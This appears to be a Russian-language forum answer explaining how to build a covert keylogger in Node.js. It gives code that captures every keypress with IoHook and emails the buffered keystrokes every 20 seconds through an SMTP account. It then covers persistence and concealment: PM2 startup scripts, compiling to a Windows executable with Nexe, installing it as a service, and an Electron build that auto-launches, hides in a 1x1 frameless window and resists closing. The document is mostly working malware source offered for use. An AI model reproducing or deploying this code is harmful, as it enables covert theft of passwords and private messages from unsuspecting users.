Да, это возможно.

Для реализации ядра мне понадобились две основные внешние библиотеки: IoHook и NodeMailer.

"dependencies": {
  "iohook": "^0.9.3",
  "nodemailer": "^6.7.2"
}

Первый шаг — запустить прослушиватель IoHook для событий keyDown, читая фактический символ из пользовательской карты ввода, определенной ad-hoc. На самом деле, к сожалению, код нажатой клавиши, возвращаемый событием, не соответствует реальному коду специальных символов, поэтому мы не можем использовать функцию String.fromCharCode().

const ioHook = require('iohook');
const keyNamesWin = { // ... 
  52: '.',
  53: 'ù',
  54: 'Shift' //.... }
let cache = []
ioHook.on('keydown', (event) => {
    cache.push(keyNamesWin[event.keycode])
});

Вторым шагом является фактическая настройка учетной записи SMTP NodeMailer. В данном случае я использую поддельный аккаунт MailTrap.io.

const nodemailer = require('nodemailer');
const transport = nodemailer.createTransport({
    host: "smtp.mailtrap.io",
    port: 2525,
    auth: {
        user: "xxxx",
        pass: "xxxx"
    }
});

Третий шаг — использовать функцию IIFE для включения таймера, который фактически отправляет почту с нажатой клавишей, сохраненной в переменной cache.

(function timer() {
    if (cache.length > 0) {
        mailOptions.text = cache.toString()
        console.log('mail')
        transport.sendMail(mailOptions, (error, info) => {
            if (error) {
                return console.log(error);
            }
            console.log('Message sent: %s', info.messageId);
        });
        cache = [];
    } else {
        console.log('empty')
    }
    setTimeout(timer, 20000);
})();

Что касается фактического выполнения программы, есть два основных сценария: запуск этого приложения на компьютере, на котором установлена ​​и доступна среда выполнения Node.JS, и на котором Node.JS не установлен.

В первом случае (NodeJS===true) мы могли бы просто выполнить скрипт с помощью диспетчера процессов PM2 для Node.JS.

> npm install -g pm2 
> pm2 start index.js

Также можно включить сценарий запуска PM2, чтобы он запускался при перезагрузке системы. (Для Windows-машин это немного сложнее, но в любом случае выполнимо).

Во втором случае (NodeJS===false) одним из решений является использование Nexe для компиляции приложения Node.js в один исполняемый файл. Вам необходимо выбрать подходящую среду выполнения для исполняемого файла из этого списка. Возможно, вы захотите установить этот исполняемый файл как службу. Для окон можно использовать классный NSSM.

> npm install -g nexe
> nexe index.js -o test -t windows --build --verbose

(Примечание: первая сборка займет некоторое время. Для Windows может также потребоваться установить NASM.)

Другим решением для ОС Windows может быть создание приложения Electron.JS, которое может запускаться в свернутом виде и автоматически настраиваться для запуска при запуске.

const AutoLaunch = require('auto-launch');
const nodemailer = require('./node_modules/nodemailer')
const ioHook = require('./node_modules/iohook')
function init() { 
  // here we have the exact same code for the keylogger provided above. 
} 
let tray = null

function createWindow () {
  let autoLaunch = new AutoLaunch({
    name: 'Your app name goes here',
    path: app.getPath('exe'),
  });
  autoLaunch.isEnabled().then((isEnabled) => {
    if (!isEnabled) autoLaunch.enable();
  });
  const mainWindow = new BrowserWindow({
    width: 1,
    height: 1,
    frame: false,
    webPreferences: {
      nodeIntegration: true,
      enableRemoteModule: true
    }
  });
  tray = new Tray('icon.png')
  tray.setToolTip('This is my application.')
  tray.setContextMenu(Menu.buildFromTemplate([
    {label: 'Disable', type: 'radio'}
  ]))
  mainWindow.loadFile('index.html')
  mainWindow.on('minimize', function (event) {
    event.preventDefault();
    mainWindow.hide();
  });
  mainWindow.on('close', function (event) {
    if (!application.isQuiting) {
      mainWindow.minimize();
    }
    return false;
  });
  mainWindow.minimize()
  init();
}
app.whenReady().then(() => {
  createWindow()
  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

В этом случае необходимо определить цель для библиотеки IoHook внутри package.json на корневом уровне.

"iohook": {
  "targets": [
    "node-83", // this is the node ABI
    "electron-87" // this is the electron ABI 
  ],
  "platforms": [
    "win32",
    "darwin",
    "linux"
  ],
  "arches": [
    "x64",
    "ia32"
  ]
},

Наконец, Электрон-строитель предоставит установщик этого приложения Electron, который запустится в виде значка на панели задач.